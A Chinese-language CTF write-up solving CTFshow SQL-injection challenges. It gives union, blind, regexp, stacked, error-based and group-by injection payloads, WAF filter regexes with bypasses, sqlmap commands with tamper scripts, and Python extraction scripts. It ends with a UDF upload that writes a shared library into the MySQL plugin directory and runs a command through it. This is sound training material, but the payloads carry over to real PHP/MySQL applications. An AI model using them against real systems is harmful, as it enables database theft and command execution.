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杂谈

CTFSHOW SQL注入

0x01 过滤注入

web171

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-1' union select 1,2,(select password from ctfshow_user where username='flag')--+

web172

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-1' union select 1,2,(select password from ctfshow_user where username='flag')--+

web173

返回包过滤flag字符串,可以通过hex编码后返回

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-1' union select 1,2,(select hex(password) from ctfshow_user3 where username='flag')--+

web174

过滤了flag字符串和所有数字,可以通过布尔盲注得到flag

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import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
for j in table:
url = "http://dcfd2cf7-1f37-408e-a4d1-c834d09ac388.chall.ctf.show//api/v4.php?id="
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
r = requests.get(url + payload)
if "admin" in r.text:
flag += j
print(flag)
break

web175

过滤了flag字符串,所有数字和字符,可以通过时间盲注得到flag

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import requests
import time
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
for j in table:
start = time.time()
url = "http://e9d44ff4-cd3e-44ce-bf3e-56c04a519812.chall.ctf.show/api/v5.php?id="
payload = '''1' and if(substr((select password from ctfshow_user5 where username="flag"),{},1)="{}",sleep(5),0)--+'''.format(i,j)
r = requests.get(ur l + payload)
end = time.time()
if end - start > 5:
flag += j
print(flag)
break

web176

不知道过滤了啥,联合查询也不成功,加一个or全部出来了,因为or不需要满足前面的!=flag

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1' or '26'--+		#里面什么数字都可以

web177

好像是过滤了空格,不知道还没有别的

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1'/**/or/**/'26'%23

web178

好像过滤了* ,换个可以代替空格的就行了

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1'%0bor%0b26%23

web179

过滤了%0b

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1'%0cor%0c26%23

web180

过滤了%23

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-1'%0cor%0cusername='flag

web181

把能当作空格的字符都过滤了

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-1'||username='flag

web182

过滤了flag,所以payload里面不能出现flag

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-1'||id='26

web183

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function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

过滤了上面这些,主要是过滤了flag需要思考一下,可以通过正则表达式倒着获取flag

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import requests
import string
import re

flag = '}'
table = string.digits + string.ascii_lowercase+ '-{}'
url = 'http://8cca6d07-095b-4ce4-a7db-6020e955dea9.chall.ctf.show/select-waf.php'
while 1:
for i in table:
sql = i + flag
payload = {"tableName": "(ctfshow_user)where(pass)regexp('{}$')".format(sql)}
r = requests.post(url, data=payload)
if re.findall('user_count = (.)', r.text)[0] == '1':
flag = i + flag
print(flag)

web184

过滤规则

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function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

过滤了where,但是没过滤空格

可以用join,至于join该怎么解释..

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select count(*) from users a, users b where a.password regexp '^f';
select count(*) from users a join users b on a.password regexp '^f';

这两个语句是等价的,这样容易理解一些

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import requests
import string
import re
import binascii

def str_to_hex(string):
str_bin = string.encode('utf-8')
return binascii.hexlify(str_bin).decode('utf-8')

flag = '}$'
table = string.digits + string.ascii_lowercase+ '-{}'
url = 'http://59c7edd3-1a35-4c8a-b376-c1eb68e3c0b8.chall.ctf.show/select-waf.php'
while 1:
for i in table:
sql = i + flag
payload = {"tableName": "ctfshow_user a join ctfshow_user b on b.pass regexp 0x{}".format(str_to_hex(sql))}
r = requests.post(url, data=payload)
if re.findall("user_count = (..)", r.text)[0] == '22':
flag = i + flag
print(flag)

web185

过滤规则

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function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

多了数字,可以看下面这篇文章用字母代替数字

https://xz.aliyun.com/t/7169#toc-13

这里选择用true

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import requests
import string
import re

def number(num):
str = ''
for i in range(0,num):
str += "true "
return str.strip().replace(" ", "+")

flag = 'flag{'
table = string.digits + string.ascii_lowercase+ '-{}'
url = 'http://d8fdd977-6ace-4129-87e6-b0ff6de76beb.chall.ctf.show/select-waf.php'
for a in range(6, 100):
for i in table:
payload = {"tableName": "ctfshow_user a join ctfshow_user b on hex(substr(b.pass,{},true)) like (hex({}))".format(number(a), number(ord(i)))}
r = requests.post(url, data=payload)
if re.findall("user_count = (..)", r.text)[0] == '22':
flag += i
print(flag)
break

web186

脚本同上

web187

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md5($_POST['password'], true)

看到后面的true想到md5注入

https://blog.werner.wiki/php-md5-true-sqli/

输入payload拿到flag

web188

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username group by pass with rollup limit 1 offset 2

web189

这个真的迷惑,得到群主的提示concat后,构造出payload

主要是一直想着盲注不是一定要有and或or吗,所以就一直卡着了

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import requests
import string
text = ''
table = string.digits + string.ascii_lowercase+ '{}-<>?'
url = "http://28fce0b8-30cc-452f-8466-ca2f86cd083c.chall.ctf.show/api/"
for i in range(1,1000):
for s in table:
payload = {"username": "concat('admi',if(substr(load_file('/var/www/html/api/index.php'),{},1)='{}','n','a'))".format(i, s), "password": "0"}
r = requests.post(url, data=payload)
if "\\u5bc6" in r.text:
text += s
print(text)
break

还是有点缺陷的,这个跑的时间可能有点久毕竟是从头开始的,可以通过locate判断flag位置提高效率

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concat('admi',if(substr(locate('flag',load_file('/var/www/html/api/index.php'),259),1,3)=266,'n','a'))

可以通过这条语句判断出flag位置从第266个字符开始..不过前面的字符串里面也存在flag,所以需要写个脚本爆破

0x02 布尔盲注

0x03 堆叠注入

web195

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if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤了这些

主要是空格,可以通过反引号绕过

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username;update`ctfshow_user`set`pass`=0			#账号
0 #密码

还可以插入新用户

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username;insert`ctfshow_user`values(200,1,3);

然后账号1密码3就可以得到flag了

web196

select写着过滤了但是没过滤

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0;select(0)
0

得到flag

web197

过滤了update,方法同web195

web198

同web195

0x04 sqlmap

web207

过滤了空格和那些url字符,使用space2comment.py可以绕过

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sqlmap-u http://baaf849b-977e-4c88-8bac-46197f4e38cd.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql --headers="Content-Type: text/plain" --safe-url=http://baaf849b-977e-4c88-8bac-46197f4e38cd.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208

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$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

这题本意应该是想在sqlmap里面加上前后缀,但是sqlmap会自动判断用什么闭合,所以前后缀也可以不用加,语句和上面基本一样

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sqlmap http://eba08ffe-2fa0-47d8-9284-8c5f9099b6a7.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql --headers="Content-Type: text/plain" --safe-url=http://eba08ffe-2fa0-47d8-9284-8c5f9099b6a7.chall.ctf.show/api/getToken.php --safe-freq=1 --tamper=space2comment.py -D ctfshow_web -T ctfshow_flaxcac --dump

web209

0x05 时间盲注

0x06 其他注入

web221

limit注入

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http://2363e5df-6f40-4a9f-96df-306493395301.chall.ctf.show/api/?page=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1)

web222

没啥技术含量就是group by注入,感觉自己脚本写的又臭又长

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import requests
import string

table = string.digits + string.ascii_lowercase + '{}-_'


def databases(i):
database_name = ""
for n in range(1, 100):
for s in table:
payload_database = "username having substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}'".format(i, n, s)
url = "http://1b0bab82-bae2-4e0d-90b4-5353289ad811.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_database)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
database_name += str(s)
print(database_name)
break

def tables(i):
table_name = ""
for n in range(1, 100):
for s in table:
payload_tables = "username having substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit {},1),{},1)='{}'".format(i, n ,s)
url = "http://1b0bab82-bae2-4e0d-90b4-5353289ad811.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_tables)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
table_name += s
print(table_name)
break

def coluumns(i):
column_name = ""
for n in range(1, 100):
for s in table:
payload_columns = "username having substr((select column_name from information_schema.columns where table_name='ctfshow_flaga' limit {},1),{},1)='{}'".format(i, n, s)
url = "http://1b0bab82-bae2-4e0d-90b4-5353289ad811.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_columns)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
column_name += s
print(column_name)
break
def dump(i):
dump_name = ""
for n in range(1, 100):
for s in table:
payload_dump = "username having substr((select flagaabc from ctfshow_flaga limit {},1),{},1)='{}'".format(i, n, s)
url = "http://1b0bab82-bae2-4e0d-90b4-5353289ad811.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_dump)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
dump_name += s
print(dump_name)
break

if __name__ == '__main__':
dump('0')

web223

过滤数字,和web185差不多

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import requests
import string

table = string.digits + string.ascii_lowercase + '{}-_,'

def number(num):
str = ''
for i in range(0,num):
str += "true "
return str.strip().replace(" ", "%2b")

def databases():
database_name = ""
for n in range(0, 100):
for s in table:
payload_database = "username having hex(substr((select group_concat(schema_name) from information_schema.schemata),{},true))=hex({})".format(number(n), number(ord(s)))
url = "http://ef236aeb-e9a1-4f89-9e25-3988b3a87ecc.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_database)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
database_name += str(s)
print(database_name)
break

def tables():
table_name = ""
for n in range(1, 100):
for s in table:
payload_tables = "username having hex(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},true))=hex({})".format(number(n) ,number(ord(s)))
url = "http://ef236aeb-e9a1-4f89-9e25-3988b3a87ecc.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_tables)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
table_name += s
print(table_name)
break

def coluumns():
column_name = ""
for n in range(0, 100):
for s in table:
payload_columns = "username having hex(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},true))=hex({})".format(number(n), number(ord(s)))
url = "http://ef236aeb-e9a1-4f89-9e25-3988b3a87ecc.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_columns)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
column_name += s
print(column_name)
break
def dump():
dump_name = ""
for n in range(0, 100):
for s in table:
payload_dump = "username having hex(substr((select group_concat(flagasabc) from ctfshow_flagas),{},true))=hex({})".format(number(n), number(ord(s)))
url = "http://f6772ccc-579a-4c5d-b64b-f7f2b2dea7dc.chall.ctf.show/api/?u={}&page=1&limit=10".format(payload_dump)
r = requests.get(url)
if "\\u67e5\\u8be2\\u6210\\u529f" in r.text:
dump_name += s
print(dump_name)
break

if __name__ == '__main__':
dump()

0x07 高级堆叠

web225

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ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

和随便注那题差不多

0x08 显错注入

web244

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http://1808ca70-ff68-4c8f-a35a-3b128e78527c.chall.ctf.show/api/?id=1' and (updatexml(1,concat(0x7e,(select substr(flag,1,100) from ctfshow_flag limit 0,1),0x7e),1))--+&page=1&limit=10
http://1808ca70-ff68-4c8f-a35a-3b128e78527c.chall.ctf.show/api/?id=1' and (updatexml(1,concat(0x7e,(select substr(flag,26,100) from ctfshow_flag limit 0,1),0x7e),1))--+&page=1&limit=10

显错注入输出有字符限制,截取字符串拼接即可

web245

禁用了updatexml,换个函数就行了

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http://c0a9aaad-b73c-4b50-887f-7d9683fecd74.chall.ctf.show/api/?id=1' and (extractvalue(1,concat(0x7e,(select (substr(flag1,1,100)) from ctfshow_flagsa limit 0,1),0x7e)))--+&page=1&limit=10
http://c0a9aaad-b73c-4b50-887f-7d9683fecd74.chall.ctf.show/api/?id=1' and (extractvalue(1,concat(0x7e,(select (substr(flag1,30,100)) from ctfshow_flagsa limit 0,1),0x7e)))--+&page=1&limit=10

web246

禁用了updatexml,extractvalue

用floor注入

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http://ef297c1b-41c4-4110-af27-6e9c0bc7436e.chall.ctf.show/api/?id=1%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20flag2%20from%20ctfshow_flags),floor%20(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+&page=1&limit=10

floor报错的长度是64所以一次就够了,但是报错出来的字符后面会多个1,记得报库名表名列名的时候去掉

web247

web248

这题和sqlmapudf执行命令差不多,其实过滤也没有过滤到很严格,就是没想到这题可以堆叠..不过话说回来udf本来就需要堆叠创建新函数,还是题目做的少了..

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import requests

payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
url = "http://f1eb1546-76c2-40ed-81ff-bb2819846429.chall.ctf.show/api/?id=1';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)

next_url = "http://f1eb1546-76c2-40ed-81ff-bb2819846429.chall.ctf.show/api/?id=1';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

nn_url = "http://f1eb1546-76c2-40ed-81ff-bb2819846429.chall.ctf.show/api/?id=1';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)